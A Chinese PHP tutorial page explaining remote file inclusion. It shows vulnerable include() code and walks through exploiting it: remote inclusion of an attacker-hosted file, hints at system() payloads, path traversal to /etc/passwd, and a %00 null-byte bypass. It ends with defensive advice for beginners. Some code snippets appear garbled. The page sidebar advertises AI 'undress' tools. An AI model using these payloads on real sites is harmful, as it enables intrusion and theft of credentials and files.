搜索
首页php教程php手册是什么造成PHP远程文件包含漏洞产生

是什么造成PHP远程文件包含漏洞产生

Jun 13, 2016 am 11:12 AM
php不能初级包含安全性掌握文件是什么漏洞程序员远程

对于初级PHP程序员来说,对于PHP的安全性还不能完全掌握。首先我们需要了解致使程序漏洞的原理。下面我们就来介绍一下PHP远程文件包含漏洞的产生原因。

首先的问题是,什么才是”远程文件包含漏洞“?简要的回答是服务器通过PHP的任意文件包含过滤不严,从而去执行一个恶意文件,这是个程序员过滤上的问题,请记住,所有的cgi程序都有这样的bug。

1.找出PHP远程文件包含漏洞bug:

为了发现目标,我们首先要知道包含两个字的含义,在所有语言里(大多数)都有这种方法包含任意的文件。在PHP里,我们使用include()函数,它的工作流程:

如果你在Main.PHP里包含include1.PHP,我将这样写include("include1.PHP").不是很科学,但你要知道其中的道理。

我们先看这个,当用户输入通过后就包含文件,也就是

<ol class="dp-c">
<li class="alt"><span><span class="keyword">if</span><span> (</span><span class="vars">$_GET</span><span>	<br>
	
	) {  </span></span></li>
<li>
<span class="keyword">include</span><span> </span><span class="vars">$_GET</span><span>	<br>
	
	;  </span>
</li>
<li class="alt">
<span>} </span><span class="keyword">else</span><span> {  </span>
</li>
<li>
<span class="keyword">include</span><span> </span><span class="string">"home.PHP"</span><span>;  </span>
</li>
<li class="alt"><span>} </span></li>
</ol>

这种结构在动态网站里是常见的,问题是它允许这样 [url]hxxp://www.target.com/explame.PHP?page=main.PHP[/url] 或者[url]hxxp://www.target.com/explame.PHP?page=downloads.PHP[/url]来查看。无论如何,如果你的程序里有这样的bug也很悲哀了,只能怪你,尽管只是一句过滤的问题,但就是这一句过滤就有了Script hacker.在zone-h.org的调查里,文件包含的攻击率占到9.4%,足够我们引起重视,而且它也不是一两天的问题,几年前就有了,但到了今天,一批一批程序员依旧走老路重走,所以就有了这篇文章,在2004年写这样的文章已经老掉牙,但我还是要写,毕竟牢骚能让人收益的时候就不叫牢骚了。

2.测试

这里有个远程文件包含的例子,目的只有一个,为了你的程序安全,我们来看具体的

<ol class="dp-xml">
<li class="alt"><span><span>[url]hxxp://www.target.com/explame.PHP?</span><span class="attribute">page</span><span>=</span><span class="attribute-value">zizzy</span><span>[/url]  </span></span></li>
<li><span> </span></li>
<li class="alt"><span>Warning: main(zizzy): failed to open stream: No such file or directory  </span></li>
<li><span> </span></li>
<li class="alt"><span>in /var/www/htdocs/index.PHP on line 3  </span></li>
<li><span> </span></li>
<li class="alt"><span>Warning: main(): Failed opening 'zizzy' for inclusion  </span></li>
<li><span> </span></li>
<li class="alt">
<span>(</span><span class="attribute">include_path</span><span>=</span><span class="attribute-value">'.:/usr/local/lib/PHP'</span><span>) in /var/www/htdocs/index.PHP on line 3 </span>
</li>
</ol>

PHP输出的这些错误信息告诉我们,程序去包含文件/var/www/htdocs/zizzy,但没找到,看见了吧,No such file or directory没这样的文件,现在理解PHP远程文件包含漏洞了吧。

3.利用

PHP确实很好,可以远程调用文件,那我创建一个yeah.txt,放在我的站上[url]hxxp://www.mysite.com/yeah.txt.[/url]内容这样

<ol class="dp-c">
<li class="alt"><span><span></span></span></li>
<li>
<span class="func">echo</span><span> </span><span class="string">"Wow,test!"</span><span>;  </span>
</li>
<li class="alt"><span>?> </span></li>
</ol>

那么

<ol class="dp-xml"><li class="alt"><span><span>[url]hxxp://www.target.com/explame.PHP?pa...e.com/yeah.txt[/url] </span></span></li></ol>

回显Wow,test!,这样就执行了。读取config.PHP也不难吧,里面放了mysql密码啊。把yeah.txt写成看看,写成system()去试试,有什么感想,在过分点,这样提交page=../../../../../../../etc /passwd。知道什么叫真正的包含了吧。

4.另一种PHP远程文件包含漏洞的原理

有时程序员换种写法,写成这样,限制了包含范围

<ol class="dp-c">
<li class="alt"><span><span class="keyword">if</span><span> (</span><span class="vars">$_GET</span><span>	<br>
	
	) {  </span></span></li>
<li>
<span class="keyword">include</span><span> </span><span class="string">"$_GET	<br>
	
	.PHP"</span><span>;  </span>
</li>
<li class="alt"><span>}   </span></li>
<li>
<span class="keyword">else</span><span>   </span>
</li>
<li class="alt"><span>{  </span></li>
<li>
<span class="keyword">include</span><span> </span><span class="string">"home.PHP"</span><span>;  </span>
</li>
<li class="alt"><span>} </span></li>
</ol>

我们提交

<ol class="dp-xml">
<li class="alt"><span><span>[url]hxxp://www.target.com/explame.PHP?pa...e.com/yeah.txt[/url]  </span></span></li>
<li><span> </span></li>
<li class="alt"><span>Warning: main([url]hxxp://www.mysite.com/yeah.txt.PHP[/url]): failed to open stream:  </span></li>
<li><span> </span></li>
<li class="alt"><span>hxxp request failed! hxxp/1.1 404 Not Found in /var/www/htdocs/explame.PHP on line 3  </span></li>
<li><span> </span></li>
<li class="alt"><span>Warning: main(): Failed opening 'hxxp://www.mysite.com/yeah.txt.PHP' for inclusion  </span></li>
<li><span> </span></li>
<li class="alt">
<span>(</span><span class="attribute">include_path</span><span>=</span><span class="attribute-value">'.:/usr/local/lib/PHP'</span><span>) in /var/www/htdocs/explame.PHP on line 3 </span>
</li>
</ol>

包含失败了,限制了后缀名为PHP,把mysite.com的yeah.txt改为yeah.PHP,然后照样执行。那passwd怎么办?

<ol class="dp-xml">
<li class="alt"><span><span>Warning: main(../../../../../../../etc/passwd.PHP): failed to open stream: hxxp request  </span></span></li>
<li><span> </span></li>
<li class="alt"><span>failed! hxxp/1.1 404 Not Found in /var/www/htdocs/explame.PHP on line 3  </span></li>
<li><span> </span></li>
<li class="alt"><span>Warning: main(): Failed opening '../../../../../../../etc/passwd.PHP' for inclusion  </span></li>
<li><span> </span></li>
<li class="alt">
<span>(</span><span class="attribute">include_path</span><span>=</span><span class="attribute-value">'.:/usr/local/lib/PHP'</span><span>) in /var/www/htdocs/explame.PHP on line 3 </span>
</li>
</ol>

在这里使用个NUL字符,也就是%00来跳过检测

<ol class="dp-xml"><li class="alt"><span><span>[url]hxxp://www.target.com/explame.PHP?pa.../etc/passwd%00[/url] </span></span></li></ol>

看见了吧。

包含文件时最好指定好包含哪一个文件,或者过滤好提交的的变量,这也就是这篇PHP远程文件包含漏洞文章的目的,不是写给hacking的人看,而是写给那些初涉程序员的人,这样的文章网上很多,只要有人受益,也就达到目的了。


声明
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系admin@php.cn

热AI工具

Undresser.AI Undress

Undresser.AI Undress

人工智能驱动的应用程序,用于创建逼真的裸体照片

AI Clothes Remover

AI Clothes Remover

用于从照片中去除衣服的在线人工智能工具。

Undress AI Tool

Undress AI Tool

免费脱衣服图片

Clothoff.io

Clothoff.io

AI脱衣机

AI Hentai Generator

AI Hentai Generator

免费生成ai无尽的。

热门文章

R.E.P.O.能量晶体解释及其做什么(黄色晶体)
3 周前By尊渡假赌尊渡假赌尊渡假赌
R.E.P.O.最佳图形设置
3 周前By尊渡假赌尊渡假赌尊渡假赌
R.E.P.O.如果您听不到任何人,如何修复音频
3 周前By尊渡假赌尊渡假赌尊渡假赌
WWE 2K25:如何解锁Myrise中的所有内容
3 周前By尊渡假赌尊渡假赌尊渡假赌

热工具

WebStorm Mac版

WebStorm Mac版

好用的JavaScript开发工具

禅工作室 13.0.1

禅工作室 13.0.1

功能强大的PHP集成开发环境

SublimeText3 英文版

SublimeText3 英文版

推荐:为Win版本,支持代码提示!

SublimeText3 Mac版

SublimeText3 Mac版

神级代码编辑软件(SublimeText3)

DVWA

DVWA

Damn Vulnerable Web App (DVWA) 是一个PHP/MySQL的Web应用程序,非常容易受到攻击。它的主要目标是成为安全专业人员在合法环境中测试自己的技能和工具的辅助工具,帮助Web开发人员更好地理解保护Web应用程序的过程,并帮助教师/学生在课堂环境中教授/学习Web应用程序安全。DVWA的目标是通过简单直接的界面练习一些最常见的Web漏洞,难度各不相同。请注意,该软件中